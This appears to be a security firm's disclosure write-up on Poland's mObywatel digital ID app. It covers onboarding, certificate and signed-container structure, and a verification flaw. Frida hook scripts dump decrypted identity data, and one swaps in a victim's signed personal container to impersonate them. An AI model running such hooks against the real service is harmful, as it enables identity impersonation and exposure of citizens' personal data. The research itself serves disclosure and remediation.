How we helped secure Poland’s digital ID system – technical analysis
With the advent of the eIDAS regulation, all EU member states are mandated to create a digital ID solution. This article showcases technical details of our research on Poland’s digital ID system and uncovers critical vulnerabilities that we’ve found.

mCitizen – Poland’s digital ID application
mCitizen (short for Mobile Citizen, Polish: mObywatel) is a digital ID application created by the Polish government. The app has been designed to be compliant with the eIDAS regulation – a European regulation mandating that all EU member states implement their own local versions of digital ID, which will become interoperable in the near future. Aside from allowing the creation and verification of Poland’s digital ID document, the app also includes a variety of other government-issued documents, such as a driving license, student ID card, and even electronic prescriptions for medications.
mCitizen is distributed as a mobile application available on both Android and iOS, with over 15 million installs across the two platforms.

Connect with the author on LinkedIn!

Scoping the attack on the government’s digital ID app
Before we start hunting for vulnerabilities, let’s first define the scope of our research. While the application itself includes numerous fancy and interesting features, this time we’ll focus only on those that are specific to the nature of the app. Since we’re dealing with an application used for identity verification, the following two mechanisms must be present and should be considered critical in terms of security:
- The onboarding process
- The identity verification process
With that in mind, let’s first begin by examining how the onboarding process works inside the mCitizen application.
The main components of the user onboarding process in mCitizen
During the onboarding process, the user receives his freshly generated identity document (ID). While we’ve seen different countries approach the process of generating new identities in slightly different ways, in the case of mCitizen, the user must first verify their identity with a trusted third party – usually a bank. After starting the onboarding process, the user must login to their bank account and accept a prompt informing them that their data will be shared with a government institution. Upon confirming, the data flows out-of-band from the bank to the government. The amount and type of data being transmitted are unknown, as the whole process is invisible to the end-user. After the government receives the data, it generates the digital ID document and sends it to the user’s application. The whole process is illustrated below.

Now that we know what the process looks like from the user’s perspective, to gain a better understanding of what kind of data is processed under the hood, let’s hook the class responsible for parsing the server’s response using Frida. Since all network traffic between the user and the government’s server contains an additional encryption layer on top of TLS, this will allow us to read the data as it’s being encrypted by the application in real time.
setTimeout(function(){
Java.perform(function (){
let DecryptOnboardingData = Java.use("pl.gov.onboard.DecryptOnboardingData");
DecryptOnboardingData["decrypt"].implementation = function (encryptedData) {
let ret = this.decrypt(encryptedData);
console.log('Decrypted data: ' + ret);
};
});
},0);
After launching the application with the above-mentioned Frida script and completing the onboarding stage, the following terminal output will appear:
{
[...]
"userCertificate": {
"certPKCS12Base64": "W/zeOZWg15x[...]Jr1/3fEFcZ/2L6kJ+u+lj+w==",
"certPKCS12AESSecretKeyBase64": "3Wb+oDU5eSh/Xn[...]Si2umLiiw==",
"publicCertBase64": "MIIFcjCCA1qgA[...]2gVwWWnpnIiaGA=="
},
"personalDataScope": {
"personalDataContainerBase64": "MIAGCSqGSIb[...]xOr8AAAAAAAAAAAAA",
},
[...]
}
After a quick analysis of the output, we can state that the digital ID of all Polish citizens consist of two main components:
- User certificate
- Personal container
The certificate is a standard-looking X.509 certificate that is used by the user to sign documents or other data within the system and to provide cryptographically verifiable proof of identity.
The container, however, is the component where things get a bit more interesting. It’s a JSON structure containing all of the user’s personal information. To ensure that this information remains immutable, the container is signed with a government-owned certificate and stored as a PKCS#7 SignedData object. If the signature is verified properly, it guarantees that an attacker can’t simply edit the fields to magically obtain a brand-new identity or impersonate someone else.
Decoding the data using the openssl tool reveals the structure of the JSON file as shown below.
PKCS7:
type: pkcs7-signedData (1.2.840.113549.1.7.2)
d.sign:
version: 1
md_algs: algorithm: sha256 (2.16.840.1.101.3.4.2.1)
contents:
type: pkcs7-data (1.2.840.113549.1.7.1)
d.data:
0000 - 7b 22 68 65 61 64 65 72-22 3a 7b 22 70 65 73 {"header":{"pes
000f - 65 6c 22 3a 22 30 30 34-37 32 34 31 36 38 34 el":"0047241684
[...]
0519 - 45 22 2c 22 70 69 63 74-75 72 65 22 3a 22 2f E","picture":"/
0528 - 39 6a 2f 34 41 41 51 53-6b 5a 4a 52 67 41 42 9j/4AAQSkZJRgAB
[...]
f21c - 56 41 42 73 54 2b 34 76-35 55 41 47 78 50 37 VABsT+4v5UAGxP7
f22b - 6f 2f 4b 67 44 2f 2f 5a-22 7d 7d 2c 22 70 69 o/KgD//Z"}},"pi
f23a - 63 74 75 72 65 22 3a 6e-75 6c 6c 7d cture":null}
cert:
cert_info:
signature:
algorithm: sha512WithRSAEncryption (1.2.840.113549.1.1.13)
issuer: C=PL, O=ENIGMA SOI Sp. z o. o., CN=CenCert Centrum Certyfikatów Powszechnych 2017
subject: C=PL, O=Chancellery of the Prime Minister of Poland, CN=MTSign 3
key: X509_PUBKEY:
public_key: (0 unused bits)
0000 - 30 82 02 0a 02 82 02 01-00 ae 62 55 dc c2 0.........bU..
[...]
0206 - 4f 3a f9 02 03 01 00 01- O:......
sig_alg:
algorithm: sha512WithRSAEncryption (1.2.840.113549.1.1.13)
signer_info:
version: 1
issuer: C=PL, O=ENIGMA SOI Sp. z o. o., CN=CenCert Centrum Certyfikatów Powszechnych 2017
auth_attr:
object: contentType (1.2.840.113549.1.9.3)
set:
OBJECT:pkcs7-data (1.2.840.113549.1.7.1)
object: messageDigest (1.2.840.113549.1.9.4)
set:
OCTET STRING:
0000 - 0a 19 c7 bd 31 3f 38 76-b1 b0 f0 0c 59 ....1?8v....Y
001a - 56 8d 0e cc 1f 10 V.....
Extracting the JSON from the SignedData object lets us see how the actual ID document is structured and what fields are present. As shown below, Poland’s digital identity document contains all the necessary information that can be used to identify you, including your name, birthdate, social security number, and even a BASE64-encoded picture.
{
"header": {
"internalDocumentId": "502d03ae-e158-4c7d-a0c2-cf6446cfd8ac",
"version": "1",
"documentType": "MOBILE_ID_CARD",
"certificateSubjectDn": "GIVENNAME=SZYMON,SURNAME=CHADAM,C=PL,SERIALNUMBER=PNOPL-66071015369,CN=SZYMON CHADAM",
"certificateSerialNumber": "ba46c527-1ae9-4d57-9eb2-04b6d5ba2e71",
"certificateIssuerDn": "CN=MTMid 3,O=Chancellery of the Prime Minister of Poland,C=PL",
"documentIssuer": "Chancellery of the Prime Minister of Poland"
},
"dh": {
"tp": 8,
"dn": "GIVENNAME=SZYMON,SURNAME=CHADAM,C=PL,SERIALNUMBER=PNOPL-66071015369,CN=SZYMON CHADAM",
"sn": "ba46c527-1ae9-4d57-9eb2-04b6d5ba2e71",
"isr": "CN=MTMid 3,O=Chancellery of the Prime Minister of Poland,C=PL",
"rId": "0a17e4c1-d46f-496e-b65c-35ca8cbdd68c",
"iid": "502d03ae-e158-4c7d-a0c2-cf6446cfd8ac",
"id": "Chancellery of the Prime Minister of Poland"
},
"data": {
"mobileIdCard": {
"number": "SECU41361",
"validFrom": "2023-08-23T17:18:16.921410Z",
"validTo": "2028-08-23T17:18:16.921410Z"
},
"personalData": {
"name": "SZYMON",
"secondName": "",
"surname": "CHADAM",
"fatherName": "JOHN",
"motherName": "JANE",
"pesel": "66071015369",
"birthDate": "2000-03-19",
"citizenship": "POLISH",
"picture": "/9j/4AAQ[...]gD\u0004\u0016//Z"
}
}
}
Overall, the design of the onboarding process is very solid. To obtain your digital ID, you must first confirm your identity with a trusted third party. The document itself is properly signed and can’t be tampered with. Moreover, the communication between the trusted third party and the government happens out-of-band and is invisible to the user – this guarantees that the user can’t tamper with the data while they’re in traffic.
We’ve learned a lot about the inner workings of the system. Let’s see if these insights prove to be useful when we go deeper into how the identity verification process works.
Exploiting the identity verification process in mCitizen to hijack user data
As the name suggests, this process allows any user of the system to verify the identity of another user. The government recommends 3 different ways of a user ID verification – each with a higher level of security than the previous one. To make things a bit more exciting, let’s focus only on the most secure method – the cryptographic verification. The whole flow of the cryptographic verification looks very similar to how COVID-19 vaccine verification looked. Whenever a user wants to verify someone’s identity, they generate a QR code, and an exchange session is established. The person that wants to prove their identity, scans the QR code and obtains an encryption key. Next, the app of the user being verified builds a packet of data consisting of their personal container, exchange session identifier as well as some metadata. Finally, the data is signed with a personal certificate of the user being verified and sent to the server for verification.
For the mCitizen system, the data verification is handled directly by the government server. Upon successful confirmation of the identity by the government server, it sends user data to the verifier to be displayed inside the app.
As the whole process is fairly complex, please take a look at the illustration below for a visual representation of the cryptographic verification process.

The server shares some details about the user’s identity under verification with the verifier. This data could be of interest to an attacker – what if the verifier could somehow gain an excessive amount of data about the person being verified that would allow him to leverage it later?
To investigate further, let’s use a simple Frida hook to discover what kind of data is returned from the server to the verifier at the last stage of the identity verification process.
let d = Java.use("pl.gov.mobywatel.DecryptVerificationResults");
d["$init"].implementation = function (i11, citizenData, j11, str, str2) {
let ret = this.$init(i11, citizenData, j11, str, str2);
console.log("User's personal container:", citizenData);
return;
};
It turns out that after a successful verification, the verifier receives a full copy of the other user’s personal container, which includes the appended government-issued signature. Putting it in perspective – during the user verification, the verifier obtains 50% of user’s digital ID components received during the onboarding step. The only thing preventing us from completely hijacking the user’s identity is their personal certificate used to sign the packet of data during identity verification.
What if the system does not verify whether the signed container belongs to the owner of the certificate? This would allow us to sign someone’s container with our certificate and successfully bypass the cryptographic verification.
The only way to know if it works is to test it. Let’s create another Frida hook. This time let’s hook the function responsible for creating the above-mentioned data packet. Instead of sending ourpersonal container, let’s send the one we’ve just received from our victim.
let l = Java.use("pl.gov.mobywatel.SendIdForVerification");
l["g"].implementation = function (z1, z2, z3, z4, z5, z6, z7) {
/*
z1 -> UUID
z2 -> encodedCert
z3 -> document
z4 -> scope
z5 -> expire time
*/
if(z3 !== null) {
z3 = "<HIJACKED VICTIM'S PERSONAL CONTAINER>";
}
let ret = this.g(z1, z2, z3, z4, z5, z6, z7);
return ret;
};
It works! It seems like the government server responsible for verifying the identity does not check whether the certificate is related to the personal container being sent. This allows the attacker to impersonate any other user of the system and defeat the cryptographic verification.
To summarize, the whole attack works as follows:
- Hooking the function decrypting data after the successful cryptographic verification.
- Luring the victim into verifying their data.
- Collecting the received personal container of the victim and injecting it into your application as if it was yours.
- Successfully verifying (not) your data with any other party using the mCitizen application.
How to remediate vulnerabilities in digital ID systems
Let me be blunt. Digital ID systems require extreme attention to detail during the implementation phase. They can be incredibly complex, with multi-step processes intertwined with digital certificates, signatures, and encryption schemes that can make your head spin. Moreover, a single overlooked detail can potentially compromise the core functionality of the product. This, in turn, can trigger an avalanche of issues for any other system that relies on the government’s infrastructure – such as banks, fintechs, or frankly, any other product that processes users’ identities.
That’s exactly why it’s so important to ensure that no stone is left unturned in terms of security. Perform threat modelling at every stage of implementation to discover potential attack vectors. Consult with security experts, and make sure the system undergoes independent security testing performed by a team with extensive experience in auditing digital ID systems.
Connect with the author on LinkedIn!

